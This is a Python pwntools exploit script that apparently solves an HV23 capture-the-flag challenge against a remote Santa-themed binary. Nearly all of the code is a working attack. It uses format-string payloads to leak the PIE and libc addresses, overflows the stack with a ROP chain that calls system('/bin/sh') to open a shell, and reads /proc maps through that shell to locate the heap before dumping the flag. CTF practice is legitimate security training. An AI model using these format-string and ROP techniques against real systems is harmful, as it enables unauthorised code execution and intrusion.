#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=152.96.15.8' '--port=1337'
from pwn import *
from hackingscripts import util
import struct

exe = context.binary = ELF(args.EXE or './vuln')
libc = ELF("./libc6_2.37-0ubuntu2.2_amd64.so", checksec=False)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'b8fb5148-65c8-4306-9341-e2ba20821791.rdocker.vuln.land'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def tell_flag(username, fmt):

    if not isinstance(username, bytes):
        username = username.encode()

    if not isinstance(fmt, bytes):
        fmt = fmt.encode()

    io.recvuntil(b"> ")
    io.sendline(username)
    io.recvuntil(b"> ")
   
    io.sendline(fmt)
    result = io.recvuntil(b"I will see what I can do...\n")

    prefix = b"\x1b[?25h\nSanta: You want me to help you with "
    if result.startswith(prefix):
        result = result[len(prefix):]

    suffix = b"?\nSanta: I will see what I can do...\n"
    if result.endswith(suffix):
        result = result[:-len(suffix)]

    return result

def do_conn(username, fmt):

    io.recvuntil(b"(y/n)? ")
    io.sendline(b"y")

    data = io.recvuntil(b"> ")
    lines = data.decode().split("\n")
    present_count = {"red": 0, "blue": 0, "yellow": 0}
    for line in lines:
        match = re.match(r"\s*-\s*(red|yellow|blue)", line.strip())
        if match:
            color = match[1]
            present_count[color] = present_count[color] + 1

    io.sendline(str(present_count["red"]).encode())
    io.recvuntil(b"> ")
    io.sendline(str(present_count["yellow"]).encode())
    io.recvuntil(b"> ")
    io.sendline(str(present_count["blue"]).encode())
    return tell_flag(username, fmt)

io = start()
payload = b""
payload += b"%35$p|%39$p|"
payload += (168 - len(payload)) * b"A"
assert len(payload) == 168
payload += p8(0xA0)

result = do_conn("x", payload)
leak = result.split(b'|')

exe.address = int(leak[0][2:],16) - exe.symbols["main"] - 158
log.info(f"Piebase: {hex(exe.address)}")

libc_leak = int(leak[1][2:],16)+48
libc.address = libc_leak - libc.symbols["__libc_start_main"]
log.info(f"libc leak: {hex(libc_leak)} ")
log.info(f"libc base: {hex(libc.address)}")

# chain for shell
rop = ROP([libc, exe])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.system(next(libc.search(b"/bin/sh")))
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.call(exe.symbols["tellflag"])
payload = b"A"*168 + rop.chain()
tell_flag("x", payload)

io.sendline(b"ps | grep vuln | awk '{print $1}'")
pid = io.recvline().strip().decode()
print("[+] Got PID:", pid)

io.sendline(f"cat /proc/{pid}/maps | grep heap | awk -F '-' '{{print $1}}'".encode())
heap_base = int(io.recvline().decode(), 16)
print("[+] Got Heap base:", hex(heap_base))
io.sendline(b"exit")

rop = ROP([libc])
rop.raw(rop.find_gadget(['ret'])) # stack align
rop.puts(heap_base + 0x484, )
rop.call(exe.symbols["main"])

payload = b""
payload += 160 * b"A"
payload += p64(0)
payload += rop.chain()
tell_flag("x", payload)
flag = "HV23" + io.recvline().decode().strip()
print("[+] Flag:", flag)
io.close()